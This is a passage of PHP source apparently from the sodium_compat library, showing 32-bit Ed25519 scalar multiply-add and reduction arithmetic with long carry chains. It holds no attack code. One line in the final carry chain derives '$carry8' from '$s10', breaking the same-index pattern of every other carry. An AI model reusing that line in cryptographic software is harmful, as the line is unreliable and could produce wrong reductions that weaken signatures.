& (self::load_4(self::substr($c, 2, 4)) >> 5)); $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2)); $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7)); $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4)); $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1)); $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6)); $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3)); $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3))); $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5)); $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2)); $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7)); /* Can't really avoid the pyramid here: */ /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = $c0->addInt64($a0->mulInt64($b0, 24)); $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24)); $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24)); $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24)) ->addInt64($a3->mulInt64($b0, 24)); $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24)) ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24)); $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24)) ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24)); $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24)) ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24)) ->addInt64($a6->mulInt64($b0, 24)); $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24)) ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24)) ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24)); $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24)) ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24)) ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24)); $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24)) ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24)) ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24)) ->addInt64($a9->mulInt64($b0, 24)); $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24)) ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24)) ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24)) ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24)); $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24)) ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24)) ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24)) ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24)); $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24)) ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24)) ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24)) ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24)); $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24)) ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24)) ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24)) ->addInt64($a11->mulInt64($b2, 24)); $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24)) ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24)) ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24)); $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24)) ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24)) ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24)); $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24)) ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24)) ->addInt64($a11->mulInt64($b5, 24)); $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24)) ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24)); $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24)) ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24)); $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24)) ->addInt64($a11->mulInt64($b8, 24)); $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24)); $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24)); $s22 = $a11->mulInt64($b11, 24); $s23 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry18 = $s18->addInt(1 << 20)->shiftRight(21); $s19 = $s19->addInt64($carry18); $s18 = $s18->subInt64($carry18->shiftLeft(21)); $carry20 = $s20->addInt(1 << 20)->shiftRight(21); $s21 = $s21->addInt64($carry20); $s20 = $s20->subInt64($carry20->shiftLeft(21)); $carry22 = $s22->addInt(1 << 20)->shiftRight(21); $s23 = $s23->addInt64($carry22); $s22 = $s22->subInt64($carry22->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $carry17 = $s17->addInt(1 << 20)->shiftRight(21); $s18 = $s18->addInt64($carry17); $s17 = $s17->subInt64($carry17->shiftLeft(21)); $carry19 = $s19->addInt(1 << 20)->shiftRight(21); $s20 = $s20->addInt64($carry19); $s19 = $s19->subInt64($carry19->shiftLeft(21)); $carry21 = $s21->addInt(1 << 20)->shiftRight(21); $s22 = $s22->addInt64($carry21); $s21 = $s21->subInt64($carry21->shiftLeft(21)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s10->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt(); $S1 = $s1->toInt(); $S2 = $s2->toInt(); $S3 = $s3->toInt(); $S4 = $s4->toInt(); $S5 = $s5->toInt(); $S6 = $s6->toInt(); $S7 = $s7->toInt(); $S8 = $s8->toInt(); $S9 = $s9->toInt(); $S10 = $s10->toInt(); $S11 = $s11->toInt(); /** * @var array */ $arr = array( (int) (0xff & ($S0 >> 0)), (int) (0xff & ($S0 >> 8)), (int) (0xff & (($S0 >> 16) | ($S1 << 5))), (int) (0xff & ($S1 >> 3)), (int) (0xff & ($S1 >> 11)), (int) (0xff & (($S1 >> 19) | ($S2 << 2))), (int) (0xff & ($S2 >> 6)), (int) (0xff & (($S2 >> 14) | ($S3 << 7))), (int) (0xff & ($S3 >> 1)), (int) (0xff & ($S3 >> 9)), (int) (0xff & (($S3 >> 17) | ($S4 << 4))), (int) (0xff & ($S4 >> 4)), (int) (0xff & ($S4 >> 12)), (int) (0xff & (($S4 >> 20) | ($S5 << 1))), (int) (0xff & ($S5 >> 7)), (int) (0xff & (($S5 >> 15) | ($S6 << 6))), (int) (0xff & ($S6 >> 2)), (int) (0xff & ($S6 >> 10)), (int) (0xff & (($S6 >> 18) | ($S7 << 3))), (int) (0xff & ($S7 >> 5)), (int) (0xff & ($S7 >> 13)), (int) (0xff & ($S8 >> 0)), (int) (0xff & ($S8 >> 8)), (int) (0xff & (($S8 >> 16) | ($S9 << 5))), (int) (0xff & ($S9 >> 3)), (int) (0xff & ($S9 >> 11)), (int) (0xff & (($S9 >> 19) | ($S10 << 2))), (int) (0xff & ($S10 >> 6)), (int) (0xff & (($S10 >> 14) | ($S11 << 7))), (int) (0xff & ($S11 >> 1)), (int) (0xff & ($S11 >> 9)), (int) (0xff & ($S11 >> 17)) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws SodiumException * @throws TypeError */ public static function sc_reduce($s) { /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3))); $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5)); $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2)); $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7)); $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4)); $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1)); $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6)); $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3)); $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3))); $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5)); $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2)); $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7)); $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4)); $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1)); $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6)); $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3)); $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3))); $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5)); $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2)); $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7)); $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4)); $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1)); $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6)); $s23 = 